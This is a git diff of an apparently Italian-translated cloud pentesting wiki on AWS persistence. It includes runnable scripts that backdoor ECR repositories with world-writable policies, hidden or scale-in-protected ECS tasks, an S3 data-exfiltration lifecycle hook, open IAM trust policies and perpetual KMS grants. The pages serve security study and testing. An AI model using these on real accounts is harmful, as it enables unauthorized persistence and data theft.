|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Nota che ECR richiede che gli utenti abbiano **permesso** di effettuare chiamate all'API **`ecr:GetAuthorizationToken`** tramite una IAM policy **prima che possano autenticarsi** a un registro ed eseguire operazioni di push o pull su qualsiasi immagine da qualsiasi repository di Amazon ECR.
|
||||
|
||||
### Politica del registro e replicazione tra account
|
||||
|
||||
È possibile replicare automaticamente un registro in un account esterno configurando la replicazione cross-account, dove è necessario **indicare l'account esterno** nel quale si desidera replicare il registro.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Per prima cosa, è necessario concedere all'account esterno l'accesso al registro con una **politica del registro** come:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Quindi applica la configurazione di replica:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
### Repository Creation Templates (prefix backdoor per repo futuri)
|
||||
|
||||
Abusa di ECR Repository Creation Templates per inserire automaticamente una backdoor in qualsiasi repository che ECR crea automaticamente sotto un prefisso controllato (per esempio tramite Pull-Through Cache o Create-on-Push). Questo concede accesso persistente non autorizzato ai repo futuri senza toccare quelli esistenti.
|
||||
|
||||
- Required perms: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
|
||||
- Impact: Any new repository created under the targeted prefix automatically inherits an attacker-controlled repository policy (e.g., cross-account read/write), tag mutability, and scanning defaults.
|
||||
|
||||
<details>
|
||||
<summary>Inserire una backdoor nei repo creati da PTC sotto un prefisso scelto</summary>
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,93 +0,0 @@
|
||||
# AWS - Persistenza ECS
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Attività ECS Periodica Nascosta
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Un attaccante può creare un'attività ECS periodica nascosta utilizzando Amazon EventBridge per **pianificare l'esecuzione di un'attività malevola periodicamente**. Questa attività può eseguire ricognizione, esfiltrare dati o mantenere la persistenza nell'account AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Contenitore Backdoor nella Definizione di Task ECS Esistente
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Un attaccante può aggiungere un **contenitore backdoor furtivo** in una definizione di task ECS esistente che viene eseguito insieme a contenitori legittimi. Il contenitore backdoor può essere utilizzato per la persistenza e per svolgere attività malevole.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Servizio ECS non documentato
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Un attaccante può creare un **servizio ECS non documentato** che esegue un'attività malevola. Impostando il numero desiderato di attività al minimo e disabilitando la registrazione, diventa più difficile per gli amministratori notare il servizio malevolo.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,151 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Da testare
|
||||
|
||||
Un attacker può creare un hidden periodic ECS task usando Amazon EventBridge per programmare l'esecuzione periodica di un malicious task. Questo task può eseguire reconnaissance, exfiltrate data o mantenere persistence nell'account AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container in una ECS Task Definition esistente
|
||||
|
||||
> [!NOTE]
|
||||
> DA TESTARE
|
||||
|
||||
Un attaccante può aggiungere un **stealthy backdoor container** in una ECS task definition esistente che viene eseguita insieme ai container legittimi. Il backdoor container può essere usato per la persistenza e per eseguire attività malevole.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Servizio ECS non documentato
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Un attaccante può creare un **servizio ECS non documentato** che esegue un task maligno. Impostando il numero desiderato di task al minimo e disabilitando il logging, diventa più difficile per gli amministratori notare il servizio maligno.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
Abusa di ecs:UpdateTaskProtection per impedire che i service tasks vengano fermati da scale‑in events e rolling deployments. Estendendo continuamente la protezione, un attacker può mantenere in esecuzione un task a lunga durata (per C2 o raccolta dati) anche se i defenders riducono desiredCount o pubblicano nuove revisioni del task.
|
||||
|
||||
Passaggi per riprodurre in us-east-1:
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
Impatto: Un task protetto rimane RUNNING nonostante desiredCount=0 e blocca le sostituzioni durante nuovi deployments, consentendo una persistenza furtiva e di lunga durata all'interno del servizio ECS.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modifica della Politica delle Risorse / Gruppi di Sicurezza
|
||||
|
||||
Modificando la **politica delle risorse e/o i gruppi di sicurezza** puoi provare a mantenere il tuo accesso nel file system.
|
||||
|
||||
### Crea un Punto di Accesso
|
||||
|
||||
Potresti **creare un punto di accesso** (con accesso root a `/`) accessibile da un servizio dove hai implementato **altra persistenza** per mantenere l'accesso privilegiato al file system.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
|
||||
Modificando la **resource policy e/o security groups** puoi provare a ottenere persistence del tuo accesso nel file system.
|
||||
|
||||
### Create Access Point
|
||||
|
||||
Potresti **create an access point** (con root access a `/`) accessibile da un servizio dove hai implementato **other persistence** per mantenere l'accesso privilegiato al file system.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,35 +1,35 @@
|
||||
# AWS - Persistenza di Elastic Beanstalk
|
||||
# AWS - Elastic Beanstalk Persistenza
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistenza nell'istanza
|
||||
|
||||
Per mantenere la persistenza all'interno dell'account AWS, alcuni **meccanismi di persistenza potrebbero essere introdotti all'interno dell'istanza** (cron job, chiave ssh...) in modo che l'attaccante possa accedervi e rubare le **credenziali del ruolo IAM dal servizio di metadata**.
|
||||
Per mantenere la persistenza all'interno dell'account AWS, qualche **meccanismo di persistenza potrebbe essere introdotto all'interno dell'istanza** (cron job, ssh key...) così l'attaccante potrà accedervi e rubare le IAM role **credentials dal metadata service**.
|
||||
|
||||
### Backdoor nella versione
|
||||
|
||||
Un attaccante potrebbe inserire una backdoor nel codice all'interno del repository S3 in modo che esegua sempre la sua backdoor e il codice previsto.
|
||||
Un attaccante potrebbe backdoorare il code all'interno del S3 repo in modo che esegua sempre la sua backdoor e il code previsto.
|
||||
|
||||
### Nuova versione con backdoor
|
||||
### Nuova versione backdoored
|
||||
|
||||
Invece di modificare il codice sulla versione attuale, l'attaccante potrebbe distribuire una nuova versione dell'applicazione con backdoor.
|
||||
Invece di modificare il code nella versione attuale, l'attaccante potrebbe distribuire una nuova versione backdoored dell'applicazione.
|
||||
|
||||
### Abuso degli Hook del Ciclo di Vita delle Risorse Personalizzate
|
||||
### Abuso dei Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk fornisce hook del ciclo di vita che consentono di eseguire script personalizzati durante la provisioning e la terminazione dell'istanza. Un attaccante potrebbe **configurare un hook del ciclo di vita per eseguire periodicamente uno script che esfiltra dati o mantiene l'accesso all'account AWS**.
|
||||
Elastic Beanstalk fornisce lifecycle hooks che permettono di eseguire custom scripts durante il provisioning e la terminazione dell'istanza. Un attaccante potrebbe **configurare un lifecycle hook per eseguire periodicamente uno script che exfiltrates dati o mantiene l'accesso all'account AWS**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
@@ -72,4 +72,4 @@ Fn::GetAtt:
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,47 +0,0 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Per ulteriori informazioni accedi a:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistenza IAM comune
|
||||
|
||||
- Crea un utente
|
||||
- Aggiungi un utente controllato a un gruppo privilegiato
|
||||
- Crea chiavi di accesso (del nuovo utente o di tutti gli utenti)
|
||||
- Concedi permessi extra a utenti/gruppi controllati (politiche collegate o politiche inline)
|
||||
- Disabilita MFA / Aggiungi il tuo dispositivo MFA
|
||||
- Crea una situazione di Role Chain Juggling (ulteriori informazioni su questo di seguito nella persistenza STS)
|
||||
|
||||
### Politiche di fiducia del ruolo backdoor
|
||||
|
||||
Potresti inserire una backdoor in una politica di fiducia per poterla assumere per una risorsa esterna controllata da te (o da chiunque):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Versione della Politica di Backdoor
|
||||
|
||||
Dai permessi di Amministratore a una politica che non è l'ultima versione (l'ultima versione dovrebbe apparire legittima), quindi assegna quella versione della politica a un utente/gruppo controllato.
|
||||
|
||||
### Backdoor / Crea Provider di Identità
|
||||
|
||||
Se l'account sta già fidandosi di un provider di identità comune (come Github), le condizioni della fiducia potrebbero essere aumentate in modo che l'attaccante possa abusarne.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistenze IAM comuni
|
||||
|
||||
- Creare un user
|
||||
- Aggiungere un controlled user a un privileged group
|
||||
- Creare access keys (del nuovo user o di tutti gli user)
|
||||
- Concedere permessi extra a controlled users/groups (attached policies o inline policies)
|
||||
- Disabilitare MFA / Aggiungere il proprio MFA device
|
||||
- Creare una situazione Role Chain Juggling (più avanti su STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
Potresti backdoorare una trust policy in modo che una risorsa esterna controllata da te (o da chiunque) possa 'assume' il ruolo:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Versione della policy Backdoor
|
||||
|
||||
Concedere i permessi di Administrator a una policy che non è nell'ultima versione (l'ultima versione dovrebbe sembrare legittima), quindi assegnare quella versione della policy a un utente/gruppo controllato.
|
||||
|
||||
### Backdoor / Creazione di Identity Provider
|
||||
|
||||
Se l'account si fida già di un identity provider comune (come Github), le condizioni del trust potrebbero essere estese in modo che l'attaccante possa abusarne.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Concedere accesso tramite le politiche KMS
|
||||
|
||||
Un attaccante potrebbe utilizzare il permesso **`kms:PutKeyPolicy`** per **dare accesso** a una chiave a un utente sotto il suo controllo o anche a un account esterno. Controlla la [**pagina KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) per ulteriori informazioni.
|
||||
|
||||
### Grant eterno
|
||||
|
||||
I grant sono un altro modo per dare a un principale alcuni permessi su una chiave specifica. È possibile concedere un grant che consente a un utente di creare grant. Inoltre, un utente può avere diversi grant (anche identici) sulla stessa chiave.
|
||||
|
||||
Pertanto, è possibile che un utente abbia 10 grant con tutti i permessi. L'attaccante dovrebbe monitorare questo costantemente. E se a un certo punto 1 grant viene rimosso, altri 10 dovrebbero essere generati.
|
||||
|
||||
(Stiamo usando 10 e non 2 per poter rilevare che un grant è stato rimosso mentre l'utente ha ancora alcuni grant)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Un grant può concedere permessi solo da questo: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,37 @@
|
||||
# AWS - KMS Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
|
||||
Un attacker potrebbe usare la permission **`kms:PutKeyPolicy`** per **give access** a una key a un user sotto il suo controllo o anche a un account esterno. Check the [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) for more information.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants sono un altro modo per give a principal alcune permissions su una specific key. È possibile dare un grant che permette a un user di creare grants. Inoltre, un user può avere diversi grant (anche identici) sulla stessa key.
|
||||
|
||||
Quindi, è possibile che un user abbia 10 grants con tutte le permissions. L'attacker dovrebbe monitorare questo costantemente. E se ad un certo punto 1 grant viene rimosso, altri 10 dovrebbero essere generati.
|
||||
|
||||
(Stiamo usando 10 e non 2 per essere in grado di rilevare che un grant è stato rimosso mentre l'user ha ancora qualche grant)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Un grant può concedere permessi solo da questo: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,33 +0,0 @@
|
||||
# AWS - Lightsail Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Scarica le chiavi SSH dell'istanza e le password del DB
|
||||
|
||||
Probabilmente non verranno cambiate, quindi averle è una buona opzione per la persistenza
|
||||
|
||||
### Backdoor delle Istanze
|
||||
|
||||
Un attaccante potrebbe accedere alle istanze e backdoorarle:
|
||||
|
||||
- Utilizzando un **rootkit** tradizionale, ad esempio
|
||||
- Aggiungendo una nuova **chiave SSH pubblica**
|
||||
- Esporre una porta con port knocking con una backdoor
|
||||
|
||||
### Persistenza DNS
|
||||
|
||||
Se i domini sono configurati:
|
||||
|
||||
- Crea un sottodominio che punta al tuo IP in modo da avere un **subdomain takeover**
|
||||
- Crea un record **SPF** che ti consenta di inviare **email** dal dominio
|
||||
- Configura l'**IP del dominio principale al tuo** e esegui un **MitM** dal tuo IP a quelli legittimi
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,33 @@
|
||||
# AWS - Lightsail Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Scaricare le chiavi SSH delle instance & le password del DB
|
||||
|
||||
Probabilmente non verranno cambiate, quindi averle è una buona opzione per la persistenza
|
||||
|
||||
### Backdoor alle istanze
|
||||
|
||||
Un attaccante potrebbe ottenere accesso alle istanze e inserire una backdoor:
|
||||
|
||||
- Utilizzando, ad esempio, un tradizionale **rootkit**
|
||||
- Aggiungendo una nuova **chiave SSH pubblica**
|
||||
- Esponendo una porta tramite port knocking con una backdoor
|
||||
|
||||
### Persistenza DNS
|
||||
|
||||
Se i domini sono configurati:
|
||||
|
||||
- Creare un sottodominio che punti al tuo IP così otterrai un **subdomain takeover**
|
||||
- Creare un record **SPF** che ti permetta di inviare **email** dal dominio
|
||||
- Configurare l'IP del dominio principale sul tuo ed eseguire un **MitM** dal tuo IP verso quelli legittimi
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - RDS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
